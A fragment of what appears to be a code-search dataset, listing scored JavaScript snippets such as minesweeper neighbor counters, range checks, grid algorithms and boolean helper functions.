"0a3d827d764740855b1777a13a239d28", "score": "0.48582456", "text": "function countApplesAndOranges(s, t, a, b, apples, oranges) {\n // Write your code here\n\n // Time complexity = 3 apples.length + 3 oranges.length\n\n // Verification using given constraints\n if (\n s < 1 ||\n s > 100000 ||\n t < 1 ||\n t > 100000 ||\n a < 1 ||\n a > 100000 ||\n b < 1 ||\n b > 100000\n ) {\n return console.error(\"invalid input\");\n }\n\n apples.map((distance) => {\n if (distance < -100000 || distance > 100000) {\n return console.error(\"invalid distance at apple\" + distance);\n }\n });\n oranges.map((distance) => {\n if (distance < -100000 || distance > 100000) {\n return console.error(\"invalid distance at orange\" + distance);\n }\n });\n\n // End of input verification\n\n // Add the tree location to apples and oranges fall distance array\n\n const whereAppleFalls = apples.map((distance) => {\n return distance + a;\n });\n\n const whereOrangeFalls = oranges.map((distance) => {\n return distance + b;\n });\n\n // Declare the counter\n let appleHit = 0;\n let orangeHit = 0;\n\n // Check whether the fall location is within the given house area\n whereAppleFalls.map((p) => {\n if (p >= s && p <= t) {\n appleHit++;\n }\n });\n whereOrangeFalls.map((p) => {\n if (p >= s && p <= t) {\n orangeHit++;\n }\n });\n\n // print the result\n console.log(appleHit);\n console.log(orangeHit);\n}", "title": "" }, { "docid": "aa59c51df7b66ffb0f1185ffbb4bafdf", "score": "0.48509604", "text": "function countSurroundingMines(cell) {\n var surroundingCells = lib.getSurroundingCells(cell.row, cell.col);\n var count = 0;\n for (var x = 0; x < surroundingCells.length; x++)\n {\n if (surroundingCells[x].isMine)\n {\n (surroundingCells[x])\n count++;\n }\n (count)\n }\n return count;\n}", "title": "" }, { "docid": "c480bd36f16a11384307dd29801259dc", "score": "0.48487315", "text": "function getNumNeighbors(row, col) {\n var numNeighbors = 0;\n for (var r = row - 1; r <= row + 1; r++) {\n for (var c = col - 1; c <= col + 1; c++) {\n if (checkBounds(r, c)) {\n if (!(r == row && c == col)) {\n numNeighbors += board[r][c];\n }\n }\n }\n }\n return numNeighbors;\n}", "title": "" }, { "docid": "aab4ea986f1e99f8b47a7918da54550a", "score": "0.48257256", "text": "function numIslands(rows) {\n let count = 0;\n rows.forEach((row, rowIdx) => {\n row.forEach((col, colIdx) => {\n if (col === '0') {\n return;\n }\n\n let queue = [[rowIdx, colIdx]];\n while(queue.length !== 0) {\n let size = queue.length;\n\n for(let i = 0; i < size; i++) {\n const cur = queue.shift();\n const [curRowIdx, curColIdx] = cur;\n if (rows[curRowIdx][curColIdx] === '0') {\n continue;\n }\n rows[curRowIdx][curColIdx] = '0';\n\n // top\n if (curRowIdx > 0) {\n queue.push([curRowIdx - 1, curColIdx]);\n }\n\n // right\n if (curColIdx < rows[0].length - 1) {\n queue.push([curRowIdx, curColIdx + 1]);\n }\n\n // bottom\n if (curRowIdx < rows.length - 1) {\n queue.push([curRowIdx + 1, curColIdx]);\n }\n\n // left\n if (curColIdx > 0) {\n queue.push([curRowIdx, curColIdx - 1]);\n }\n }\n }\n count += 1;\n });\n });\n\n return count;\n}", "title": "" }, { "docid": "124eaee060f627f634e677735418e29b", "score": "0.48200905", "text": "function sumRangeNumbers(min, max) {\n var range = 0;\n\n for (min; min <= max; min++) {\n range += min;\n }\n\n return range;\n}", "title": "" }, { "docid": "7684d51bc3075fe4d3c5ca077f296f6a", "score": "0.48200572", "text": "function countSurroundingMines (cell) {\n var count = 0;\n var surroundingCells = lib.getSurroundingCells(cell.row, cell.col) //this bit is weird to me\n for (var x = 0; x<surroundingCells.length;x++) { //looping through the array that holds surrounding cells data.\n if (surroundingCells[x].isMine) { //if the loop finds the property isMine in an object in that array, then +1 to count of surrounding mines\n count++;\n }\n}\nreturn count;\n\n}", "title": "" }, { "docid": "95b9162838e278652fd17bdfbd58d5dc", "score": "0.48198903", "text": "function count(start, end) {\n if(end > start) {\n console.log(count(start, end - 1))\n }\n return end;\n}", "title": "" }, { "docid": "78e2671b88fa50801555b5bfd703b726", "score": "0.4811821", "text": "function countSurroundingMines (cell) {\n var surroundingCells = lib.getSurroundingCells(cell.row, cell.col);\n \n var count = 0;\n\n for (var i=0; i <surroundingCells.length; i++) {\n if (surroundingCells[i].isMine){\n count++;\n } \n }\n return count;\n}", "title": "" }, { "docid": "b850edd53a8d6e0e76b91220f5fcb52a", "score": "0.48088473", "text": "countMines(board, x, y) {\n let mineCount = 0;\n\n //loop through all adjacent cells\n for (let i = x - 1; i < x + 2; i++) {\n for (let j = y - 1; j < y + 2; j++) {\n\n //check whether coordinates are valid\n if (this.state.boardSize > i && i > -1 &&\n this.state.boardSize > j && j > -1) {\n if (board[i][j].value == \"Mine\") { mineCount++; }\n } else { continue }\n }\n }\n return mineCount;\n }", "title": "" }, { "docid": "edacd891a9c91ec901b7e7302c48c67c", "score": "0.48044154", "text": "function blockedRowsDown() {\n let blockedDivs = document.querySelectorAll('.occupied')\n blockedDivs = document.querySelectorAll('.occupied')\n const blockedCells = []\n blockedDivs.forEach(element => blockedCells.push(parseFloat(element.textContent)))\n\n const blockedRowArrays = []\n\n // * Find the start of the row and locate completely blocked lines\n\n let rowStart = []\n for (let i = 0; i < blockedCells.length; i++) {\n if (blockedCells[i] !== 0) {\n rowStart.push(blockedCells[i] - blockedCells[i] % 12)\n }\n }\n rowStart = rowStart.filter((num, index) => {\n return rowStart.indexOf(num) === index\n })\n\n\n for (let i = 0; i < rowStart.length; i++) {\n let blockedRow = []\n for (let j = 0; j < 12; j++) {\n blockedRow.push(document.querySelector(`#cell${rowStart[i] + j}`))\n }\n blockedRow = blockedRow.filter(element => element.classList.contains('occupied'))\n blockedRow = blockedRow.map(element => parseFloat(element.textContent))\n blockedRowArrays.push(blockedRow)\n }\n\n\n for (let i = blockedRowArrays.length - 1; i >= 1; i--) {\n const current = Math.min(...blockedRowArrays[i])\n let previous = Math.max(...blockedRowArrays[i - 1])\n let difference = current - previous\n while (difference >= 13) {\n blockedRowArrays[i - 1] = blockedRowArrays[i - 1].map(cell => cell + 12)\n previous = Math.max(...blockedRowArrays[i - 1])\n difference = current - previous\n }\n\n }\n\n\n\n let newBlockedCells = []\n for (let i = 0; i < blockedRowArrays.length; i++) {\n for (let j = 0; j < blockedRowArrays[i].length; j++) {\n newBlockedCells.push(blockedRowArrays[i][j])\n }\n }\n\n // * clear fully unoccupied lines\n\n const isOccupied = document.querySelector('.bottom.occupied')\n\n while (isOccupied === null) {\n if (Math.max(...newBlockedCells) >= 228 || newBlockedCells.length === 0) {\n break\n } else {\n newBlockedCells = newBlockedCells.map(cell => cell + width)\n }\n }\n score.textContent = scoreCount\n const newBlockedDivs = []\n for (let i = 0; i < newBlockedCells.length; i++) {\n newBlockedDivs.push(document.querySelector(`#cell${newBlockedCells[i]}`))\n }\n\n blockedDivs.forEach(element => element.classList.remove('occupied'))\n newBlockedDivs.forEach(element => element.classList.add('occupied'))\n\n }", "title": "" }, { "docid": "f8b7142b54cf890e5da53b0410c3859e", "score": "0.48024598", "text": "function arrayManipulation(n, queries){\r\n const arr= Array(n); \r\n // console.log(arr)\r\n let maxvalue=0;\r\n queries.forEach(([startRange, endRange,value])=>{\r\n //startrange 1,2,3 endrange 2,5,4, value 100 100 100\r\narr[startRange]= arr[startRange] || {start: 0, end:0}\r\narr[endRange]= arr[endRange] || {start: 0, end:0}\r\narr[startRange].start +=value;\r\narr[endRange].end +=value;\r\n });\r\n\r\n// console.log(arr);\r\n// 1 { start: 100, end: 0 }\r\n// 2{ start: 100, end: 100 } //2\r\n// 3{ start: 100, end: 0 }\r\n// { start: 0, end: 100 } //4\r\n// { start: 0, end: 100 } //5 //cell\r\nlet currentNumber=0;\r\narr.forEach((cell)=>{\r\n //console.log(cell);\r\n if(cell){\r\n //console.log(cell.start)\r\n currentNumber +=cell.start;\r\n \r\n\r\n if(currentNumber>maxvalue){\r\n//console.log(currentNumber);\r\n maxvalue=currentNumber;\r\n }\r\n console.log(currentNumber +\"kk\");\r\n currentNumber -=cell.end;\r\n console.log(currentNumber +\"DD\");\r\n }\r\n});\r\nreturn maxvalue;\r\n\r\n}", "title": "" }, { "docid": "cc651cb50e9986fab16c6834de5389f9", "score": "0.480175", "text": "prepareRange() {\n this.fullyOutside = -1 * this.position.x > this.image.width || -1 * this.position.y > this.image.height\n || this.position.x > this.width || this.position.y > this.height;\n\n // compute range is image is visible\n if (!this.fullyOutside) {\n if (this.position.x < 0) {\n this.range.min.x = -1 * this.position.x;\n this.range.max.x = Math.min(this.width, this.image.width + this.position.x);\n this.offset.x = 0;\n } else {\n this.range.min.x = 0;\n this.range.max.x = Math.min(this.image.width, this.width - this.position.x);\n this.offset.x = this.position.x;\n }\n if (this.position.y < 0) {\n this.range.min.y = -1 * this.position.y;\n this.range.max.y = Math.min(this.height, this.image.height + this.position.y);\n this.offset.y = 0;\n } else {\n this.range.min.y = 0;\n this.range.max.y = Math.min(this.image.height, this.height - this.position.y);\n this.offset.y = this.position.y;\n }\n this.offset.width = this.range.max.x;\n this.offset.height = this.range.max.y;\n }\n }", "title": "" }, { "docid": "82599eb8a40381093c854e6868fc3203", "score": "0.48003525", "text": "function countSurroundingMines (cell) {\n var surroundingCells = lib.getSurroundingCells(cell.row, cell.col)\n var count = 0;\n\n for (i = 0; i < surroundingCells.length; i++) {\n if (surroundingCells[i].isMine == true) {\n count += 1\n }\n }\nreturn count;\n}", "title": "" }, { "docid": "6e26b5d6f44fb2288857292fec65dfc5", "score": "0.479528", "text": "function jumpTo(n){\n let t = Math.abs(n), count = 0;\n for (let pos = 0; pos < t || (pos - t) % 2; count++, pos += count) {}\n return count;\n}", "title": "" }, { "docid": "17846aa1050b8140bbffc1d5a8b67b4c", "score": "0.47929698", "text": "function inRange(num1,num2){\n if (num1-num2<40 || num2-num1<40){\n return true\n }\n else{return false;}\n}", "title": "" }, { "docid": "4001f4d3c2d7a22db1d32f4196a04ef5", "score": "0.47923756", "text": "function dontGiveMeFive(start, end)\n{\n var count = 0\n for ( let i = start ; i <= end ; i++){\n if (! i.toString().includes(\"5\")){\n count ++\n }\n }\n \n \n return count;\n}", "title": "" }, { "docid": "5bccfcd5c2fec5fff728f53fdc58e4a0", "score": "0.47918114", "text": "function numOccupied(seats) {\n let count = 0\n for (let row = 0; row < seats.length; row++) {\n for (let col = 0; col < seats[0].length; col++) {\n if (seats[row][col] === '#') count++\n }\n }\n return count\n}", "title": "" }, { "docid": "d1e7dcbbddef3eab6c4c8b75105a1832", "score": "0.47882015", "text": "function defaultOverscanIndicesGetter(_ref) {\n var cellCount = _ref.cellCount,\n overscanCellsCount = _ref.overscanCellsCount,\n scrollDirection = _ref.scrollDirection,\n startIndex = _ref.startIndex,\n stopIndex = _ref.stopIndex;\n\n if (scrollDirection === SCROLL_DIRECTION_FORWARD) {\n return {\n overscanStartIndex: Math.max(0, startIndex),\n overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)\n };\n } else {\n return {\n overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),\n overscanStopIndex: Math.min(cellCount - 1, stopIndex)\n };\n }\n}", "title": "" }, { "docid": "d1e7dcbbddef3eab6c4c8b75105a1832", "score": "0.47882015", "text": "function defaultOverscanIndicesGetter(_ref) {\n var cellCount = _ref.cellCount,\n overscanCellsCount = _ref.overscanCellsCount,\n scrollDirection = _ref.scrollDirection,\n startIndex = _ref.startIndex,\n stopIndex = _ref.stopIndex;\n\n if (scrollDirection === SCROLL_DIRECTION_FORWARD) {\n return {\n overscanStartIndex: Math.max(0, startIndex),\n overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)\n };\n } else {\n return {\n overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),\n overscanStopIndex: Math.min(cellCount - 1, stopIndex)\n };\n }\n}", "title": "" }, { "docid": "5b95012d60741c2c102e0461e433a15c", "score": "0.47859442", "text": "calculateRangesCounts() {\n // Calculate loaded and unloaded ranges count\n for (const transactionsCurrency in this.fullRanges) {\n this.loadedRangesCount[transactionsCurrency] = this.countTransactionsInRanges(this.loadedRanges[transactionsCurrency]);\n this.unloadedRangesCount[transactionsCurrency] = this.countTransactionsInRanges(this.unloadedRanges[transactionsCurrency]);\n }\n }", "title": "" }, { "docid": "93d61db484b6acff903351117c4625a6", "score": "0.47789365", "text": "function getAttempts(widths, start, linesLeft, min, max, lastLines) {\n\tvar MAX_COMBINATIONS = 1200;\n\tvar acc = 0;\n\tvar attempts = [];\n\tfor (var i = start; i < widths.length && acc < max; i++) {\n\t\tacc += widths[i];\n\t\tif (acc > max)\n\t\t\tbreak;\n\t\tif (acc > min) {\n\t\t\tif (linesLeft > 0 && attempts.length < MAX_COMBINATIONS) {\n\t\t\t\tvar nextLines = getAttempts(widths, i + 1, linesLeft - 1, min, max, lastLines);\n\t\t\t\tfor (var j = 0; j < nextLines.length; j++)\n\t\t\t\t\tattempts.push([i].concat(nextLines[j]));\n\t\t\t}\n\t\t\tif (linesLeft === 1 && lastLines.indexOf(i) >= 0)\n\t\t\t\tattempts.push([i]);\n\t\t}\n\t}\n\treturn attempts;\n}", "title": "" }, { "docid": "8e712f748733d7ceab53f8ca1de067d4", "score": "0.4773785", "text": "getNeighborCount(row, col) {\n let count = 0;\n let nrow=Number(row);\n let ncol=Number(col);\n let currGen = this.state.gridFull;\n let rows = this.rows;\n let cols = this.cols;\n\n // Make sure we are not at the first row\n if (nrow - 1 >= 0) {\n // Check top neighbor\n if (currGen[nrow - 1][ncol] === true) count++;\n }\n\n // Make sure we are not in the first cell\n if (nrow - 1 >= 0 && ncol - 1 >= 0) {\n //Check upper left neighbor\n if (currGen[nrow - 1][ncol - 1] === true) count++;\n }\n\n // Make sure we are not on the first row last column\n if (nrow - 1 >= 0 && ncol + 1 < cols) {\n //Check upper right neighbor\n if (currGen[nrow - 1][ncol + 1] === true) count++;\n }\n \n // Make sure we are not on the first column\n if (ncol - 1 >= 0) {\n //Check left neighbor\n if (currGen[nrow][ncol - 1] === true) count++;\n }\n\n // Make sure we are not on the last column\n if (ncol + 1 < cols) {\n \n //Check right neighbour\n if (currGen[nrow][ncol + 1] === true) count++;\n }\n\n // Make sure we are not on the bottom left corner\n if (nrow + 1 < rows && ncol - 1 >= 0) {\n //Check bottom left neighbour\n if (currGen[nrow + 1][ncol - 1] === true) count++;\n }\n\n // Make sure we are not on the bottom right\n if (nrow + 1 < rows && ncol + 1 < cols) {\n //Check bottom right neighbour\n\n if (currGen[nrow + 1][ncol + 1] === true) count++;\n }\n \n \n // Make sure we are not on the last row\n if (nrow + 1 < rows) {\n //Check bottom neighbour\n if (currGen[nrow + 1][ncol] === true) count++;\n }\n \n return count;\n }", "title": "" }, { "docid": "100521abf1e465e31505a7ae78a356fd", "score": "0.4754093", "text": "function getAdjacentCells () { \n\tfor (let i = 0; i < cols; i++) {\n\t\tfor (let j = 0; j < rows; j++) {\n\t\t\tgrid[i][j].countMines(); \n\t\t}\t\t\n\t}\n}", "title": "" }, { "docid": "2cf1648ed6bb8aea5ebb205eeb6631ce", "score": "0.47510955", "text": "function OverlappingRanges(arr) {\n let overlap = arr[4];\n let numShared = 0;\n for (let i = arr[0]; i <= arr[1]; i++) {\n if (i >= arr[2] && i <= arr[3]) {\n numShared++;\n }\n }\n\n if (numShared >= overlap) {\n return \"true\";\n }\n return \"false\";\n}", "title": "" }, { "docid": "2151c6edc5824383964f68abb0f88d47", "score": "0.4749043", "text": "get width()\n {\n var x_0 = this.x.Low;\n var x_1 = this.x.High;\n\n if(((x_0 < 0) && (x_1 < 0)) || ((x_0 > 0) && (x_1 > 0)))\n return Math.abs(x_1) - Math.abs(x_0) + 1;\n else\n return (x_1 - x_0);\n }", "title": "" }, { "docid": "ff91a373637b30845707ce6124903973", "score": "0.4746537", "text": "function countSurroundingMines (cell) {\n var surrounding = lib.getSurroundingCells(cell.row,cell.col); // get the surrounding cells of 'cell' in an array\n var count = 0; // variable to count how many of the surrounding cells have mines\n for (var i = 0; i < surrounding.length; i++){ //Loop through the array containing all the surrounding mines\n if(surrounding[i].isMine){ // If they have a mine\n count ++; // increment the count\n }\n }\n return count;\n}", "title": "" }, { "docid": "616f8cc4fbe7e99ecb2b28c30c01cfea", "score": "0.4744273", "text": "checkRange (start, end) {\n const keeps = this.param.keeps\n const total = this.param.uniqueIds.length\n\n // datas less than keeps, render all\n if (total <= keeps) {\n start = 0\n end = this.getLastIndex()\n } else if (end - start < keeps - 1) {\n // if range length is less than keeps, corrent it base on end\n start = end - keeps + 1\n }\n\n if (this.range.start !== start) {\n this.updateRange(start, end)\n }\n }", "title": "" }, { "docid": "868314166d7f886a9bdf5c61ebc2085c", "score": "0.4743458", "text": "function day4Part2(min, max) {\n let solutions = 0;\n for (let i = min + 1; i < max; i++) {\n if (isValid2(i)) solutions++;\n }\n return solutions.length;\n}", "title": "" }, { "docid": "764378d6168a02d23515cbb996048fab", "score": "0.47432843", "text": "function calculate() {\n\t\trange = niceNum(maxPoint - minPoint, false);\n\t\ttickSpacing = niceNum(range / (maxTicks - 1), true);\n\t\tniceMin = Math.floor(minPoint / tickSpacing) * tickSpacing;\n\t\tniceMax = Math.ceil(maxPoint / tickSpacing) * tickSpacing;\n\t}", "title": "" }, { "docid": "b7529279591d0afdcce3f1a7af024c5b", "score": "0.4738011", "text": "static compareRangesUsingEnds(a, b) {\n if (a.endLineNumber === b.endLineNumber) {\n if (a.endColumn === b.endColumn) {\n if (a.startLineNumber === b.startLineNumber) {\n return a.startColumn - b.startColumn;\n }\n return a.startLineNumber - b.startLineNumber;\n }\n return a.endColumn - b.endColumn;\n }\n return a.endLineNumber - b.endLineNumber;\n }", "title": "" }, { "docid": "edafdb8a8a0aff7805b47d03df483415", "score": "0.47377804", "text": "livingNeighbors(row, col) {\n // TODO: Return the count of living neighbors.\n let livingCount = 0;\n\n //current cell = this.board[row][col]\n // top Cell = this.board[row-1][col]\n // bottom cell this.board[row+1][col]\n // left cell this.board[row][col-1]\n // right cell this.board[row][col+1]\n\n // top right cell this.board[row-1][col+1]\n // top left cell this.board[row-1][col-1]\n // bottom right cell this.board[row+1][col+1]\n // bottom left cell this.board[row+1][col-1]\n\n\n let topCell = this.getCell(row-1,col);\n let bottomCell = this.getCell(row+1,col);\n let leftCell = this.getCell(row,col-1);\n let rightCell = this.getCell(row,col+1);\n\n let topRightCell = this.getCell(row-1,col+1);\n let topLeftCell = this.getCell(row-1,col-1);\n let bottomRightCell = this.getCell(row+1,col+1);\n let bottomLeftCell = this.getCell(row+1,col-1);\n\n\n livingCount = topCell + bottomCell + leftCell + rightCell + topRightCell + topLeftCell + bottomRightCell + bottomLeftCell;\n\n\n //returns living count here\n //return count of living neighbours\n return livingCount;\n }", "title": "" }, { "docid": "60a9b1a182a5a02a7b6b18a4cdbb1d36", "score": "0.47360933", "text": "function mapRange(num, in_min, in_max, out_min, out_max) {\n return (num - in_min) * (out_max - out_min) / (in_max - in_min) + out_min;\n}", "title": "" } ]
5676788c8d9a9415dbbaf3acdf72950f
Returns a boolean value depending if there is any value is checked or not checked
[ { "docid": "bb7a1120d96a0d26c2e0d17cdbd00c4d", "score": "0.0", "text": "function noFilter(filterObj) {\n for (var key in filterObj) {\n if (filterObj[key]) {\n // There is at least one checkbox checked\n return false;\n }\n }\n return true;\n }", "title": "" } ]
[ { "docid": "a00e979bd6a43442c309752d45a79013", "score": "0.7138379", "text": "hasValue() {\n return this.value !== 0 || this._flags.length > 0;\n }", "title": "" }, { "docid": "6a3dae17eccce64f48dd86b624bf4622", "score": "0.6847992", "text": "hasValue() {\n return !this.isEmpty();\n }", "title": "" }, { "docid": "c7a8d93c91148d027fa4db8947910f82", "score": "0.6662031", "text": "function _allUnchecked(){\n /*Tamanho de todos os checkeboxes visiveis na tela que estao checados*/\n return getChecked().length == 0;\n }", "title": "" }, { "docid": "024436ab0927bcdacad8feea41295276", "score": "0.66044354", "text": "hasTrue(value) {\n return value === 1 || value === true ? \"True\" : \"False\";\n }", "title": "" }, { "docid": "16f961ac18b416465ecb96c2b940a8fc", "score": "0.65521014", "text": "function bool(value) {\n return value && value !== \"false\" && value !== \"0\";\n}", "title": "" }, { "docid": "e0871ea2b80c50849e38db8d225fc4ff", "score": "0.6518909", "text": "function hasValue(e) {\n return e.hasValue;\n}", "title": "" }, { "docid": "f3612a8bb115ab7b66efe76ecb3f82dc", "score": "0.651754", "text": "function isTrue( value ) {\n return true === value || 'yes' === value || '1' === value || 1 === value;\n }", "title": "" }, { "docid": "3d1215e7cc2a7ad67c7ad435c816828b", "score": "0.65050936", "text": "hasValue() {\n return !(typeof this.value === 'undefined' || this.value === '');\n }", "title": "" }, { "docid": "3d1215e7cc2a7ad67c7ad435c816828b", "score": "0.65050936", "text": "hasValue() {\n return !(typeof this.value === 'undefined' || this.value === '');\n }", "title": "" }, { "docid": "ea0fad66ec12eba622ebaeae9db81b04", "score": "0.6449893", "text": "checkFilter(value) {\n if (this.state.filters === 'all') return true;\n if (this.state.filters === 'checked' && value.checked) return true;\n if (this.state.filters === 'unchecked' && !value.checked) return true;\n return false;\n }", "title": "" }, { "docid": "ac3b84b458a22a9358b9c9f39520a382", "score": "0.64471453", "text": "function isTrue(value) {\n return value === true;\n}", "title": "" }, { "docid": "15765abd9c7f27b5ecaedf6fc2a9c611", "score": "0.6436604", "text": "function isTrue(valueToCheck) {\n return valueToCheck && valueToCheck.toString() === 'true';\n}", "title": "" }, { "docid": "d3987956e82753a4bfd7eae998357e4b", "score": "0.643516", "text": "function isTrue(val) {\n return val === true || val === 'true';\n }", "title": "" }, { "docid": "d925db2fed82b1197199ea4a9ff0de90", "score": "0.6431573", "text": "hasValue() {\n return typeof this.value !== 'undefined';\n }", "title": "" }, { "docid": "d1eb06639c4d3c5d1b9d5671338cfb90", "score": "0.64306116", "text": "function verifyHikeType() {\n\n let isPaved = document.getElementById(\"paved\").checked;\n let isPartialPaved = document.getElementById(\"partialPaved\").checked;\n let isUnpaved = document.getElementById(\"unpaved\").checked;\n\n if (isPaved || isPartialPaved || isUnpaved) {\n \n return true;\n\n } else {\n\n return false; \n }\n}", "title": "" }, { "docid": "127e7127adabc0493fc8b39e064e2c38", "score": "0.64274323", "text": "function isValid(value) {\n\t return Boolean(value || value === 0);\n\t}", "title": "" }, { "docid": "127e7127adabc0493fc8b39e064e2c38", "score": "0.64274323", "text": "function isValid(value) {\n\t return Boolean(value || value === 0);\n\t}", "title": "" }, { "docid": "127e7127adabc0493fc8b39e064e2c38", "score": "0.64274323", "text": "function isValid(value) {\n\t return Boolean(value || value === 0);\n\t}", "title": "" }, { "docid": "127e7127adabc0493fc8b39e064e2c38", "score": "0.64274323", "text": "function isValid(value) {\n\t return Boolean(value || value === 0);\n\t}", "title": "" }, { "docid": "8ab04dd556076637433f775c55f44a13", "score": "0.63896495", "text": "function checkBoolean(value) {\n\n\t\tif(value === 'true' || value === 'on') return true;\n\t\telse if(value === 'false' || value === 'off') return false;\n\t\treturn value;\n\n\t}", "title": "" }, { "docid": "7aaa5588a94ac0a0d6ac8e0dbfc3e11b", "score": "0.63762397", "text": "hasAnyValue() {\n return this._compareHasAny(this.getValue());\n }", "title": "" }, { "docid": "47e84dc91e7422d8de41eb1380b20d68", "score": "0.6338856", "text": "function truthOnly (youBetter, youBet){\n return (youBetter && youBet)\n}", "title": "" }, { "docid": "95f037498210fbe51aaa9cdd844d05f3", "score": "0.6325834", "text": "hasDecisionDecided() {\n return this.value !== null;\n }", "title": "" }, { "docid": "db8eaddfd67c6e5f166cef793a4dd50f", "score": "0.6325547", "text": "getHasAnyValue() {\n return this._executeAfterInitialWait(() => this.currently.hasAnyValue());\n }", "title": "" }, { "docid": "3cb10e702cb30f0bec1d104593b1452e", "score": "0.6321885", "text": "function getBoolean (val) { \n\t\tswitch (typeof (val)) {\n\t\t\tcase \"string\":\n\t\t\t\tif (val.toLowerCase () == \"true\") {\n\t\t\t\t\treturn (true);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \"boolean\":\n\t\t\t\treturn (val);\n\t\t\t\tbreak;\n\t\t\tcase \"number\":\n\t\t\t\tif (val != 0) {\n\t\t\t\t\treturn (true);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\treturn (false);\n\t\t}", "title": "" }, { "docid": "bff37d5649cf076767ed4fd10b9a36e9", "score": "0.6304228", "text": "getHasAnyValue() {\n return this.hasAnyValue();\n }", "title": "" }, { "docid": "0a8da9b83478013f61813531caee8373", "score": "0.62953734", "text": "_isPrechecked(toggle) {\n if (typeof this._rawValue === 'undefined') {\n return false;\n }\n if (this.multiple && Array.isArray(this._rawValue)) {\n return this._rawValue.some(value => toggle.value != null && value === toggle.value);\n }\n return toggle.value === this._rawValue;\n }", "title": "" }, { "docid": "bd25eab5576b9366f8e233c076230e26", "score": "0.6273021", "text": "function returnTrue(){return!0}", "title": "" }, { "docid": "b83f4e366100e5fef1d91aed80bc8265", "score": "0.6260022", "text": "function evaluateTruthiness (val) {\n if (val) return 'truthy' \n else return 'falsy'\n}", "title": "" }, { "docid": "d331ba5d16f87dc76d5db0c45fd8821b", "score": "0.62487954", "text": "function valid(value){\r\n\treturn (value != NONE);\r\n}", "title": "" }, { "docid": "20a315c49b0f37ad435469c72a739985", "score": "0.6248217", "text": "function boolean (data) {\n return data === false || data === true;\n }", "title": "" }, { "docid": "8fe68b91fc010a97d072e19be78d6a08", "score": "0.6237332", "text": "getBoolean() {\n return this.generate() < 0.5;\n }", "title": "" }, { "docid": "5014e079074b45d62208275ebf5014f7", "score": "0.62057966", "text": "function isTrueValue(v) {\n if (v !== undefined) {\n for (var i = 0; i < v.length; i++) {\n if (v[i] !== undefined && v[i] !== false) {\n return true;\n }\n }\n }\n return false;\n}", "title": "" }, { "docid": "986e3a3e7aca405eb4a59f20d5a09afa", "score": "0.6201858", "text": "function boolean(data) {\n return data === false || data === true;\n }", "title": "" }, { "docid": "0c88c1944d2bea1da50db02c9624ce17", "score": "0.6179575", "text": "validateIfBoolean(value, testMsg){\n return assert.isBoolean(value, testMsg)\n }", "title": "" }, { "docid": "9efaf98c2f768c2964551545cd01832e", "score": "0.61652625", "text": "function utilitiesValue() {\n\t\t var utilities = document.getElementById(\"utilities\"); //GET THE VALUE OF UTILITIES CHECKBOX\n\t\t if (utilities.checked == true){ //IF FOOD UTILITIES IS CHECKED\n\t\t console.log('Utilities Checked'); //OUTPUT THIS\n\t\t return utilities.value = true; //SET THE UTILITIES VALUE TO TRUE\n\t\t } else { //IF UTILITIES CHECKBOX IS NOT CHECKED\n\t\t console.log('Utilities Not'); //OUTPUT THIS\n\t\t return utilities.value = false; //SET THE UTILITIES VALUE TO FALSE\n\t\t }\n\t\t }", "title": "" }, { "docid": "7545b2f6933f462d55aaa92d7a98fe4f", "score": "0.61619043", "text": "function check_boolean(x){\n if(x === true){\n return true;\n }else{\n return false;\n }\n}", "title": "" }, { "docid": "6aa0c23b37975619509ef8dfaba304ce", "score": "0.6150428", "text": "function condition1(value) {\r\n return value !== null;\r\n }", "title": "" }, { "docid": "c2a11a2b369665fb9e45b8590888cd63", "score": "0.6148078", "text": "isDefined() {}", "title": "" }, { "docid": "c2a11a2b369665fb9e45b8590888cd63", "score": "0.6148078", "text": "isDefined() {}", "title": "" }, { "docid": "9aa79f07332e47b214b01a8d89d17d14", "score": "0.61430734", "text": "isAllChecked() {\n const validVisibleData = this.visibleData.filter(row => this.isRowCheckable(row));\n if (validVisibleData.length === 0) return false;\n const isAllChecked = validVisibleData.some(currentVisibleRow => {\n return indexOf(this.newCheckedRows, currentVisibleRow, this.customIsChecked) < 0;\n });\n return !isAllChecked;\n }", "title": "" }, { "docid": "eead429a6fa67bb9b588dbfb95865bb3", "score": "0.6139736", "text": "function bool(val) {\n return val ? 1 : 0;\n}", "title": "" }, { "docid": "4841badd3fc2a348ce2502fefe67d1aa", "score": "0.61381906", "text": "function isBoolean(val) {\n return val === true || val === false;\n}", "title": "" }, { "docid": "bfc689302ff98c980ce7f967b1cb3f60", "score": "0.613036", "text": "function getBooleanValue(val) {\n if (val === true || val === 'true') {\n return true;\n }\n if (val === false || val === 'false') {\n return false;\n }\n return val;\n }", "title": "" }, { "docid": "66a22d16186e63aafc3acffffebd30bc", "score": "0.61301965", "text": "doAllChecks(allFormData) {\n if (this.checkIfEverythingHasValue(allFormData) && this.checkIfExistsInDatabase(allFormData) && this.checkIfNumbers(allFormData) && this.checkIfFilterSelected(allFormData)) {\n return true;\n }\n }", "title": "" }, { "docid": "ca2c6f94675425ff72b99cabcc569ab8", "score": "0.61246324", "text": "asBoolean() {\n return this.data[0] != 0;\n }", "title": "" }, { "docid": "8dd8319fd669378a016febf1d59150b4", "score": "0.61243093", "text": "get isBool() {\n return (\n this.props.list.length === 2 &&\n ((this.props.list[0] === 'no' && this.props.list[1] === 'yes') ||\n (this.props.list[0] === false && this.props.list[1] === true))\n );\n }", "title": "" }, { "docid": "c4cc68972d39fd439765811051b5732b", "score": "0.61168563", "text": "function k(val){\n return Boolean(val); \n \n}", "title": "" }, { "docid": "e5623e745ec75d0d0b342f305e543d53", "score": "0.61146885", "text": "validateSameness(value, boolOnly, checkValue) {\n if (this.isEmpty(value) || this.isEmpty(checkValue)) {\n if (boolOnly) {\n return false;\n }\n return null;\n }\n if (value !== checkValue) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "51e8bdce83713b86bc07efeea7f7bccd", "score": "0.61056703", "text": "hasValue(value) {\n return this._compareHas(value, this.getValue());\n }", "title": "" }, { "docid": "e8d754ef4f1cc5c90c3e9800fc4da0c7", "score": "0.61006063", "text": "function checkAll() {\n if (money > 0 && name !== \"\" && surname !== \"\" && email !== \"\" && phone.length > 9) \n return true\n else \n return false\n }", "title": "" }, { "docid": "14fddfc49ec798d9de0ad4cca766f464", "score": 